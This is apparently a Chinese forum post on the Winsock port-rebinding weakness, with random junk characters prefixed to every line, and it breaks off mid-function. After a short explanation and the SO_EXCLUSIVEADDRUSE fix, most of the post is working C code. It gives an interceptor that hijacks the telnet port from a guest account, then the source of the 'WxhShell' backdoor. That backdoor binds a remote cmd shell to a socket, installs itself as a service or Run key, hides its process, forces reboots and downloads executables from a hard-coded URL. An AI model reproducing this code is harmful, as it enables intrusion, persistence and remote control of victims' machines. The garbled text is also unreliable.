在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Fsdn2{g8U s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
g[Y$SgJ !SNtJi$;v saddr.sin_family = AF_INET;
p_N=V. w z#!Cg*K( saddr.sin_addr.s_addr = htonl(INADDR_ANY);
5rhdm?Ls0 \%*y+I0> bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
/qY(uPJ }jXUd=.Nu 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
l0,O4k2 ' b?^<';,5 这意味着什么?意味着可以进行如下的攻击:
"@Fxfd+Ot vdM\scO: 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
uSbg*OA }gt~{9?c 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
,4UJ|D=J @T T[H*, 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
jV8><5C iSax-Mc 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
6<GWDO a_x6 v* 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
O`| ri5d s!\L1E 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
m]vr|:{6/ Sy~Mh]{E 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
%?y`_~G {hR23eE)# #include
c}cboe2 #include
/267Q;d
C) #include
x F#)T* #include
w, wt<@} DWORD WINAPI ClientThread(LPVOID lpParam);
suSIz 7:
int main()
!Hg#c!eOg {
1+#8} z: WORD wVersionRequested;
yLX\pkAt4 DWORD ret;
2HNS|GHb& WSADATA wsaData;
&c!-C_L 2 BOOL val;
]y$C6iUY* SOCKADDR_IN saddr;
-"H9 W: SOCKADDR_IN scaddr;
f#+ h_1# int err;
/+7L`KPD SOCKET s;
_69\#YvCG SOCKET sc;
ivk|-C'\ int caddsize;
5sUnEHN HANDLE mt;
=Ch#pLmH DWORD tid;
oPV"JGa/B4 wVersionRequested = MAKEWORD( 2, 2 );
bf+2c6_BN0 err = WSAStartup( wVersionRequested, &wsaData );
<k1gc,* if ( err != 0 ) {
>oNs_{ printf("error!WSAStartup failed!\n");
}mK_d9d x return -1;
.?TVBbc%5 }
G[ea@u$? saddr.sin_family = AF_INET;
m 9S5;kB] |@F<ajlV //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
6P8X)3CE<T [d}1Cq=_ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
N3)EG6vE* saddr.sin_port = htons(23);
Os;\\~e5 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
im"v75 tc {
$Re
%+2c printf("error!socket failed!\n");
FS0SGBo return -1;
sj~'.Zs% }
@nK08Kj- val = TRUE;
ZhU2z*qN# //SO_REUSEADDR选项就是可以实现端口重绑定的
G.8ZISN/ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
uNjy&I: {
-q27N^A0 printf("error!setsockopt failed!\n");
UF
tTt`N2 return -1;
XR(kR{yo }
KAGq\7 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
M*Xzr .6 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
BH^q.p_#>X //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
0FBifK {^F_b% a4z if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
qdh D6#r {
<\u%ZB ret=GetLastError();
QQcJUOxT9 printf("error!bind failed!\n");
wSGUNP9 return -1;
Zx6BK=4G }
B(hNBq7 listen(s,2);
.+.Pc_fv while(1)
Im2g2] {
i*3'O:Gq caddsize = sizeof(scaddr);
a[!':-R`s //接受连接请求
/$E1!9J sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
g"xZ{k_3 if(sc!=INVALID_SOCKET)
ev`p!p {
gg =z.`} mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
98l#+4+ if(mt==NULL)
'`n\YO.N {
U}NNbGQj printf("Thread Creat Failed!\n");
LS;kq', break;
Y) Z>Bi }
nZ]d[ }
0z.& CloseHandle(mt);
7ORwDR,`5 }
<5
okwcJ^ closesocket(s);
z[B7k%} WSACleanup();
YS9| J=!~ return 0;
&A>J>b }
-1[ri8t;nV DWORD WINAPI ClientThread(LPVOID lpParam)
/}V9*mD2 {
C]}0h!_V SOCKET ss = (SOCKET)lpParam;
]0o78(/w2 SOCKET sc;
2HUoT\M unsigned char buf[4096];
}wn GOr SOCKADDR_IN saddr;
l`d=sOB^ long num;
9,4a?.*4~ DWORD val;
4JucNGv DWORD ret;
/%~`B[4F //如果是隐藏端口应用的话,可以在此处加一些判断
FYzl- 7!Y //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Q-AN~k8+)[ saddr.sin_family = AF_INET;
7kO
1d{u6b saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
K-K+%U saddr.sin_port = htons(23);
NWFZ:h@v if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'8Yx {
fV3J:^)F printf("error!socket failed!\n");
r3|vu"Uei return -1;
r]TeR$NJ }
mIOx)`$ val = 100;
~yci2{ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
cOIshT1 {
zZkwfF ret = GetLastError();
5ES$qYN return -1;
N52N ^X> }
FJ/kumq if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
k(et b# {
*M&~R(TMn ret = GetLastError();
oo`mVRVf return -1;
R5Ti|k.~Y" }
$L(,q!DvH if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
T. {P}#'| {
}V09tK/M printf("error!socket connect failed!\n");
X)\t=><< closesocket(sc);
*5wb8[ closesocket(ss);
S#jE1 EN return -1;
rN
OwB2e }
=5+:<e,& while(1)
Hh,\>= ': {
8I
JFQDGA9 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
N'IzHyo. //如果是嗅探内容的话,可以再此处进行内容分析和记录
S-My6'ar //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
u)%J5TR .Y num = recv(ss,buf,4096,0);
&}6=V+J; if(num>0)
;vuok]@ send(sc,buf,num,0);
I6\l6 o else if(num==0)
6*CvRb& break;
s3oK[:/ num = recv(sc,buf,4096,0);
!s5 _JO if(num>0)
znD0&CS9q send(ss,buf,num,0);
lBl`R|Gt else if(num==0)
eR?`o !@y break;
+hi!=^b] }
hCM+=]z" closesocket(ss);
*r=6bpi closesocket(sc);
<.#i3! return 0 ;
fi`*r\ }
2wikk]Z K-sJnQ23' A+>+XA' ==========================================================
pLNv\M+
K-#v5_* 下边附上一个代码,,WXhSHELL
pf[bOjtR k]w;(< ==========================================================
8H;yrNL rqSeh/<iD #include "stdafx.h"
E<Efxb'p PU[]
Nw #include <stdio.h>
g\GuH?| #include <string.h>
[/\}:#MLe #include <windows.h>
:D;BA #include <winsock2.h>
EQ\/I(
=l #include <winsvc.h>
624l5}@: #include <urlmon.h>
'jqkDPn 6ID@ 0 #pragma comment (lib, "Ws2_32.lib")
l.El3+ #pragma comment (lib, "urlmon.lib")
(6!W8x7 /GqW1tcO #define MAX_USER 100 // 最大客户端连接数
+uLl3(ml #define BUF_SOCK 200 // sock buffer
5V]!xi #define KEY_BUFF 255 // 输入 buffer
sBt,y_LW -6@#Nq_iWU #define REBOOT 0 // 重启
Xnpw'<~X #define SHUTDOWN 1 // 关机
d=yuuS/ =[`B -? #define DEF_PORT 5000 // 监听端口
s
+"?j vjmNS=l #define REG_LEN 16 // 注册表键长度
TZ3"u@ 06 #define SVC_LEN 80 // NT服务名长度
"K;f[&xO,o |L,_QXA2 // 从dll定义API
Sjv_% C$ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
BRyrdt*_e typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
tP^2NTs%] typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
}I`"$2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
/'O?
8X< nF`_3U8e // wxhshell配置信息
16Cd0[h? struct WSCFG {
c<fl6o) int ws_port; // 监听端口
}}G`yfs}r char ws_passstr[REG_LEN]; // 口令
c>mTd{Abi int ws_autoins; // 安装标记, 1=yes 0=no
f:bUM/Ud char ws_regname[REG_LEN]; // 注册表键名
!59u z4 char ws_svcname[REG_LEN]; // 服务名
=*>ri char ws_svcdisp[SVC_LEN]; // 服务显示名
E9<oA. char ws_svcdesc[SVC_LEN]; // 服务描述信息
+~Wg@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
m - ]E| int ws_downexe; // 下载执行标记, 1=yes 0=no
_<}oBh char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
6 b-'Hu i+ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
crTRfqF Nz1u:D] };
)&Af[mS zO)Bf( // default Wxhshell configuration
4sMA'fG struct WSCFG wscfg={DEF_PORT,
[&eG>zF" "xuhuanlingzhe",
POB6#x 1,
bS7%%8C "Wxhshell",
@?e+;Sx "Wxhshell",
k}18
~cWM "WxhShell Service",
ld "Wrsky Windows CmdShell Service",
=e*S h0dK "Please Input Your Password: ",
V96:+r 1,
[`(W(0U% "
http://www.wrsky.com/wxhshell.exe",
3'2>3Y/7Bb "Wxhshell.exe"
`cgyiJ };
sYa;vg4[ p.)IdbC`B // 消息定义模块
[+;>u| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Zm x[:- char *msg_ws_prompt="\n\r? for help\n\r#>";
`"Lk@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
o=C:= char *msg_ws_ext="\n\rExit.";
0Sx$6:-~ char *msg_ws_end="\n\rQuit.";
qg1tDN`s char *msg_ws_boot="\n\rReboot...";
r|av|7R char *msg_ws_poff="\n\rShutdown...";
D qu?mg;L char *msg_ws_down="\n\rSave to ";
zPm|$d `]F}O \H char *msg_ws_err="\n\rErr!";
M,w5F5 char *msg_ws_ok="\n\rOK!";
$/J4?Wik f0M5^ char ExeFile[MAX_PATH];
<*_DC)&79 int nUser = 0;
Iw;i ". HANDLE handles[MAX_USER];
?
R!Pf: t int OsIsNt;
y?OK#,j 'u}OeS"f SERVICE_STATUS serviceStatus;
L
NS O]\ SERVICE_STATUS_HANDLE hServiceStatusHandle;
#V9do>Cu% F,}7rhY(U^ // 函数声明
'"C& dia int Install(void);
B}fd#dr int Uninstall(void);
Fzmc#? int DownloadFile(char *sURL, SOCKET wsh);
'/2)I8 int Boot(int flag);
z#HNJAQ#| void HideProc(void);
b]5/IT)@O int GetOsVer(void);
mlLx!5h= int Wxhshell(SOCKET wsl);
R+r;V ]-/ void TalkWithClient(void *cs);
{&TP&_|H int CmdShell(SOCKET sock);
bUU\bc int StartFromService(void);
br;~}GR_h int StartWxhshell(LPSTR lpCmdLine);
.C|dGE?, __%){j6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
3;?DKRIcX VOID WINAPI NTServiceHandler( DWORD fdwControl );
GahIR9_2 l3N '@GO // 数据结构和表定义
'r'+$D7 SERVICE_TABLE_ENTRY DispatchTable[] =
Rt.2]eZEJ {
|\FJ {wscfg.ws_svcname, NTServiceMain},
\)M
EM=U {NULL, NULL}
6DVHJ+WTV };
?G>E[!8ev blx"WVqo // 自我安装
B,b^_4XX$ int Install(void)
Lky T4HC8n {
sW]>#e char svExeFile[MAX_PATH];
kF-7OX0) HKEY key;
o%E-K=a strcpy(svExeFile,ExeFile);
"M}3T?0 O tS3!cO\ // 如果是win9x系统,修改注册表设为自启动
OE/r0C<& if(!OsIsNt) {
,5&
Rra/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
wd*V,ZN7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
h9Tst)iRi RegCloseKey(key);
e'X"uH Xt. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Z6fR2A~Q[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
o*5b]XWw RegCloseKey(key);
7Vo[zo return 0;
Il]p >B }
4Q(w
D }
f?lnBvT|b }
L-`?=- 9` else {
%Y= L"L a| // 如果是NT以上系统,安装为系统服务
a(_3271 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
,a3M*}Y~3 if (schSCManager!=0)
Dc9Fb^]QOG {
=AP0{ SC_HANDLE schService = CreateService
[{PmU~RMYf (
Iuve~ugO schSCManager,
3Vk<hBw2 wscfg.ws_svcname,
J\?d+}hynX wscfg.ws_svcdisp,
vhrURY. SERVICE_ALL_ACCESS,
=>*9"k%m SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
LG
vPy SERVICE_AUTO_START,
Og1Hg
B3v SERVICE_ERROR_NORMAL,
|@rYh-5 svExeFile,
PmA_cP7~ NULL,
x75 3o\u! NULL,
]]hsLOM] NULL,
EouI S2e;a NULL,
}F-,PSH
Ml NULL
TOsHb+Uv );
m!WDXt if (schService!=0)
8bX?HeYrr {
PEMuIYm$ CloseServiceHandle(schService);
T,uJO< CloseServiceHandle(schSCManager);
V!f'
O@p[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
COL_c<\ strcat(svExeFile,wscfg.ws_svcname);
<3 I0$?xL if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
~}Z'/zCZf RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
r12e26_Ab RegCloseKey(key);
snVeOe#'S return 0;
oz'^.+uvE }
m }\L i] }
MC_i"P6a CloseServiceHandle(schSCManager);
eY\!}) 5 }
5N[H@%>QO }
gmCB4MO V4. }wz_Y return 1;
\eCQL(_ }
Wdp4'rB ]4[^S.T= // 自我卸载
#{~3bgY int Uninstall(void)
gcF V$ {
U=N]XwjVK< HKEY key;
sDS0cc6e sf,9Ym if(!OsIsNt) {
pW5PF)([ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!}J19]\ RegDeleteValue(key,wscfg.ws_regname);
R 5Cy% RegCloseKey(key);
8 O.5ML{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
`cqZ;(^ RegDeleteValue(key,wscfg.ws_regname);
J1d|L|M RegCloseKey(key);
&Ui&2EW return 0;
e
ls&_BPE }
yHxi^D] }
*cc|(EM }
3&Fqd else {
pJ_>^i= ]Czq
A c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
vb2aj!8_? if (schSCManager!=0)
u\@L|rh {
GI/4<J\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
K@@Jt if (schService!=0)
0hX@ta[Up {
]*\<k if(DeleteService(schService)!=0) {
hJGWa%` CloseServiceHandle(schService);
Iq(;?_ CloseServiceHandle(schSCManager);
o[>p return 0;
y0
qq7Dmu }
B:tGD@ CloseServiceHandle(schService);
Ts3(,Y }
qR8 BS4q_p CloseServiceHandle(schSCManager);
etL)T":XV }
vA#?\j2 }
b*o,re)Dj jAOD&@z1 return 1;
1~9AQ[]w8 }
;aUI3n% mG+hLRTXP // 从指定url下载文件
3bMUsyJ 2 int DownloadFile(char *sURL, SOCKET wsh)
!'
jXN82 {
ybVdWOqv HRESULT hr;
$:<G= char seps[]= "/";
\:-N<[ char *token;
ATf{;S} char *file;
W'<cAg? char myURL[MAX_PATH];
^g*/p[ char myFILE[MAX_PATH];
<=&7*8u0+ G+l9QaFv strcpy(myURL,sURL);
+ywd(Tuzm token=strtok(myURL,seps);
eE[/#5tK while(token!=NULL)
?mW;%d~] {
K7$Vl"l file=token;
!FR1yO'd> token=strtok(NULL,seps);
Yq%D/dU8 }
t+BLO< -g)*v<Fb5 GetCurrentDirectory(MAX_PATH,myFILE);
! jb{q bq strcat(myFILE, "\\");
von~-51; strcat(myFILE, file);
~*uxKEH send(wsh,myFILE,strlen(myFILE),0);
fY9/u = send(wsh,"...",3,0);
/'0,cJnm hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
dM3V2TT if(hr==S_OK)
0B[eG49 return 0;
sTGe=}T8 else
o*1t)HL < return 1;
&-6D'@ k0R;1lZ0n }
1">]w2je: m1lfC // 系统电源模块
YP vg(T int Boot(int flag)
Y&_1U/}h {
9=Rj9% HANDLE hToken;
h\^> s$ TOKEN_PRIVILEGES tkp;
JPT VZ AAt<{ if(OsIsNt) {
ld*RL:G OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
me`(J y< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
$[P>nRhW tkp.PrivilegeCount = 1;
JTg0T+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
1eDc:!^SD AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
rKys:is if(flag==REBOOT) {
';?b99 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
/A) v$Bv= return 0;
a4M`Bk;mb }
R!.HS0i. else {
GQ8r5V4: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
id.W"5+ return 0;
J8yi#A>+ }
Wy%F
}
D?_#6i;DJ else {
g$*VA} s if(flag==REBOOT) {
weiqt
*,8 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
_"`U.!3* return 0;
v#`Wf}G }
{1
94u%' else {
x 1"ikp} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
=pS\gLQu return 0;
4GRmo"S }
~f2zMTI| }
gaJIc^O :{tvAdMl7 return 1;
#YSUPO%F }
s:/.:e_PU :22IY>p // win9x进程隐藏模块
@kKmkVhu* void HideProc(void)
; (+r)r_ {
b\w88=| :/IcFU~)M HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
(&$|R\W. if ( hKernel != NULL )
1XO*yZF {
Mr(~
* pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Yn}_"FO' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
9c=_p'G3Fw FreeLibrary(hKernel);
K/u`Wz~A }
SS;QPWRZ FBcF return;
yX(6C]D }
%d9UW Q $0Y&r]' // 获取操作系统版本
0PnW|N0 int GetOsVer(void)
~R cd {
z~xN]= OSVERSIONINFO winfo;
?Ib/}JST winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
h tn2` GetVersionEx(&winfo);
t?]6>J_V if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
%Ys>PzM return 1;
szwXr else
K`FgU7g{ return 0;
^[CD- # }
!DCJ2h%E[_ m=S[Y^tR // 客户端句柄模块
u
hP0Zwn int Wxhshell(SOCKET wsl)
HJ5m5':a {
lq_W;L SOCKET wsh;
zux+ooU struct sockaddr_in client;
8y!fqXm%) DWORD myID;
N)h>Ie @X/S
h: while(nUser<MAX_USER)
l#o43xr
{
Em@h5V int nSize=sizeof(client);
E!VAA= wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
(`18W1f5W if(wsh==INVALID_SOCKET) return 1;
KF'H|)!K g#_?Vxt handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
R\:C|/6f if(handles[nUser]==0)
_:'m/K3Ee closesocket(wsh);
im+2)9f else
ok\+$+$ju nUser++;
H8K<.RY }
#fGb M!3p WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
z[v5hhI)4 n/?5[O-D] return 0;
W'XMC" }
cJ8F#t (4 {49b // 关闭 socket
B0z.s+. void CloseIt(SOCKET wsh)
YC=BP5^ {
{|xwvTlJ closesocket(wsh);
-t6d`p;dR nUser--;
p!aeL}g` ExitThread(0);
Pz|qy, }
&"tce6& "}SERC7 // 客户端请求句柄
D?\K~U* > void TalkWithClient(void *cs)
+zs6$OI]V {
_;B!6cRLps 29sgi" SOCKET wsh=(SOCKET)cs;
0!vC0T[ char pwd[SVC_LEN];
xk|$Oa char cmd[KEY_BUFF];
ri JyH;) char chr[1];
eN>
(IW int i,j;
>>$IHz4Z" RaU.yCYyu while (nUser < MAX_USER) {
dWqFP 4(aesZ8h if(wscfg.ws_passstr) {
7-o=E= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
U[A*A^$c} //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ab2g),;c //ZeroMemory(pwd,KEY_BUFF);
CY>NU i=0;
l(]\[}.5 while(i<SVC_LEN) {
5&X Ve8! // 设置超时
[QZ~~(R fd_set FdRead;
z t,-O7I'1 struct timeval TimeOut;
n~&R_"mv( FD_ZERO(&FdRead);
k9Sqp:l, FD_SET(wsh,&FdRead);
+rT( TimeOut.tv_sec=8;
}qD.Ek TimeOut.tv_usec=0;
_yWH\5@ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
_).'SU)> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
W;N/Y3Lb Q?a"uei[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
3,vH:L4 pwd
=chr[0]; :):Y6)giBD
if(chr[0]==0xd || chr[0]==0xa) { 'o7PIhD"
pwd=0; phc1AN=[E
break; f0D Ch]
} $k`8Zx w
i++; KV5lpN PC
} 4*+EUJ|
7@lXN8_f
// 如果是非法用户,关闭 socket ]F@md(J
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }a9C/t3
} p_z"Uwp
sRZ:9de+
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zDl, bLiJ
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 42wcpSp
Mb>6.l
while(1) { CD&m4^X5D
*[SsvlFt
ZeroMemory(cmd,KEY_BUFF); H*\[:tPa
.d"+M{I
// 自动支持客户端 telnet标准 oX}n"5o:
j=0; vR)7qX}
while(j<KEY_BUFF) { 6fV)8,F3
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '!2t9B8XX
cmd[j]=chr[0]; NdNfai
if(chr[0]==0xa || chr[0]==0xd) { 20moX7L
cmd[j]=0; xF/D YXC{8
break; .HQ<6k:
} og\XLJ}_
j++; gPwp
[
} v)d0MxSC
<=inogf
// 下载文件 o 4b{>x
if(strstr(cmd,"http://")) { r{Q< a
send(wsh,msg_ws_down,strlen(msg_ws_down),0); V^{!d}
if(DownloadFile(cmd,wsh)) ZWa#}VS}-n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OV/FQH;V
else )j6>b-H
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *h4m<\^U
} Eo Urc9G2
else { 3EZw F
=CVT8(N*
switch(cmd[0]) { hX_p5a1t
A pjqSz"
// 帮助 Q$vr`yV#=6
case '?': { YW{V4yW
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ? g{,MP5
break; >Y+KL
} D9C}Dys
// 安装 .zAafi0
case 'i': { ziycyf.d
if(Install()) 1hviT&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uu
X"AFy~\
else s4$m<"~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4sj%:
break; nwo!A3w:
} IA^)`l 7H
// 卸载 7S2F^,w
case 'r': { |+:ZO5FaO
if(Uninstall()) D%idlL2%J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >>bYg
else _cw^5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kV rT?
break; +2}(]J=-
} ,&?q}M
// 显示 wxhshell 所在路径 tlERis
case 'p': { \z`d}\3(R
char svExeFile[MAX_PATH]; b(q&}60
strcpy(svExeFile,"\n\r"); J\so8uT:
strcat(svExeFile,ExeFile); 'c[LTpn4=
send(wsh,svExeFile,strlen(svExeFile),0); -HsBV>C
break; t4k'9Y:\Q
} <PN;D#2bh
// 重启 />[6uvy#Q
case 'b': { (A'q@-XQ
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <e&QTyb
if(Boot(REBOOT)) aTh%oBrtP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s~$4bN>LD
else { k6-n.Rl01
closesocket(wsh); mF}k}0
ExitThread(0); Zax]i,Bx
} *Z`eNz}
break; `7%eA9*.m
} E@jl: -*E
// 关机 NoAb}1uae
case 'd': { MJ9SsC1
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uHro%UAd
if(Boot(SHUTDOWN)) ^X;Xti
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~fp+@j-A
else { {}o>nenx\
closesocket(wsh); -fx88
ExitThread(0); O|&TL9:
} D
Ok^ON
break; Hs}"A,V
} ]A]E)*
// 获取shell 8Qz7uPq
case 's': { RpK,ixbtA+
CmdShell(wsh); 7 3z
Y^x
closesocket(wsh); 9H}iX0O
ExitThread(0); A4Q)YY9~
break; K^vp(2
} z){UuiUM+=
// 退出 !-RpRRR[Co
case 'x': { +R#`j r"
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SfobzX}~Jh
CloseIt(wsh); ^1,Eo2yN
break; `/JR}g{O
} ,L{o,qzC
// 离开 b#;N!VX
case 'q': { \Tf{ui
send(wsh,msg_ws_end,strlen(msg_ws_end),0); T7,Gf({
closesocket(wsh); v~2XGm
WSACleanup(); Df,VV+
exit(1); Px7g\[]
break; .(dmuV9
} O mh&)|Iql
} ROt0<^<
} vx5o
k1UY
tbzvO<~
// 提示信息 q\b
?o!#_
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,o>pmaoLs
} ua|Z`qUyq
} fAM4Q
Xf_tj:eO~
return; 5-5(`OZ{'
} 1xdESorX(
Y5i`pY/}#?
// shell模块句柄 G2+)R^FSC
int CmdShell(SOCKET sock) D@(M+u9/%
{ v*'iWHCl,
STARTUPINFO si; ioY\8i
ZeroMemory(&si,sizeof(si)); d! QD vO
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9 QCpXy
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zj$_iB`9
PROCESS_INFORMATION ProcessInfo;
=Sb:<q+Q
char cmdline[]="cmd"; gjegzKU
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;p#Z :6
return 0; -6~dJTm[t
} 1|EU5<
p-yOiG8b}
// 自身启动模式 a,57`Ks+n<
int StartFromService(void) $|cp;~ 1
{ &Rl3y\
r
typedef struct [5p7@6:$u
{ (LT\
IJSM
DWORD ExitStatus; ;vv!qBl|@
DWORD PebBaseAddress; \,%o>M'
